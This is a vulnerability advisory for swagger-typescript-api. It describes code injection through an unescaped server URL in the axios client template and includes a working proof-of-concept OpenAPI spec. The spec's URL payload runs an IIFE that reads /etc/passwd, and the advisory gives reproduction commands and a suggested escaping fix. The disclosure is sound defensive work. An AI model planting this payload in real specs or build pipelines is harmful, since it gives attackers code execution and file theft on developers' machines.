swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding object-literal argument of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.

This is the axios sibling of the previously reported fetch-client RCE — same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix — sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 — closes both at once.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:

constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function — escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) — only replaces */ and is not applied to this path.

The injection sits inside a JavaScript object literal (the argument to axios.create({...})), so simple statement-level injection is not directly possible — but computed property keys are. A spec value of the form:

URL", [(IIFE)()]: 0, dummy: "

produces the following object literal:

axios.create({
  ...axiosConfig,
  baseURL: axiosConfig.baseURL || "URL",
  [(IIFE)()]: 0,
  dummy: ""
})

The IIFE evaluates eagerly when the object literal is constructed — i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:

• Every README example in this repository does const api = new Api() at module top level.
• Api (in default/api.ejs) extends HttpClient, so new Api() invokes the HttpClient constructor via super().
• Top-level const api = new Api() runs at module load — the consumer cannot import without instantiating in the documented usage pattern.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (constructor — payload, Biome-formatted):

constructor({
  securityWorker,
  secure,
  format,
  ...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
  this.instance = axios.create({
    ...axiosConfig,
    baseURL: axiosConfig.baseURL || "https://api.example.com",
    [(async () => {
      try {
        const fs = await import("node:fs");
        const data = fs.readFileSync("/etc/passwd", "utf8");
        fs.writeFileSync("/tmp/sta_canary", data);
      } catch (e) {}
      return "pwned";
    })()]: 0,
    dummy: "",
  });
  this.secure = secure;
  this.format = format;
  this.securityWorker = securityWorker;
}

The [(async () => { ... })()]: 0 is a real computed object-literal key — Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:

• sta generate --http-client axios --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
• A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
• A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
• Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import — Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.

Privilege: the IIFE runs with the full privileges of the importing process — read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal — at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form — fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)